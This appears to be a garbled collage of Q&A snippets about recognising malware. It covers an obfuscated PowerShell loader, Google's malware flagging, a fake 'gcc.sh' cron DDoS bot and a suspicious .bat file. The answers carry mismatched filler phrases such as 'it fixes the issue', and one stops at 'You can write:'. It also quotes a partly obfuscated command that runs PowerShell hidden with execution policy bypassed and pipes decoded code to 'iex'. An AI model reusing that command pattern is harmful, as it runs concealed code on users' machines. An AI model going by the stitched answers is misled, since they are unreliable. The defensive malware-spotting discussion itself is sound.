wish helps you My guess, it runs a Powershell with
NoProfile WindowStyle 1 = Minimized ExecutionPolicy ByPass = Nothing is blocked and there are no warnings or prompts then dot-sources the remaining code
( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code] 
  >$ShellId
  Microsoft.PowerShell
$aspx =
powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy ByPass . iex "$aspx = ...."

when google mark a file as malware?

This might help you Sorry for the vague answer, but without more details I can't be more specific. In general there are certain patterns and code techniques that are commonly used by malware to overflow buffers in browsers, thus giving the attacker control of the system. The Javascript itself is just used as a conduit to the browser. Often, Shellcode bytes are encoded into javascript for delivery to an unsuspecting user's browser. If you have encoded data being delivered through Javascript, it may appear as suspicious to Google's heuristics engine.
It is also possible that you are using similar techniques to poisonous scripts (sometimes used for Cross-site scripting (XSS) and Cross-site request forgery (CSRF)) to accomplish some of your work, and this is a good way to get flagged by Google.

it fixes the issue When you run malwaresetup.exe /?, you'll get list of accepted command line parameters. You can write:

Is this file (gcc.sh) in cron.hourly malware?

like below fixes the issue Quite likely. It uses /lib/libudev.so.6 as an executable while the name implies it should be a library - try using a tool like nm or objdump to see if it's an executable. It copies from /lib/libudev.so to .so.6 - while normally the .so is a symlink to the versioned one. It also runs a for loop to bring up all network connections even if you've turned them off. It uses the name of a well-known compiler to look legit. I'd call this 99%+ likely a virus.
Found another reference to something calling itself gcc - https://superuser.com/questions/863997/ddos-virus-infection-as-a-unix-service-on-a-debian-8-vm-webserver . And yes, that's a DDoS virus on a unix system, exactly matching your problem.

.bat file: functional malware or a joke?

I think the issue was by ths following , the C:\WINDOWS folder should be safe (thanks to Microsoft) (write-protected).
taskkill has a wrong syntax and just gives a message saying so.

Can a file browser, with file opening and previewing disabled, be safe from malware which run when viewed in explorer?
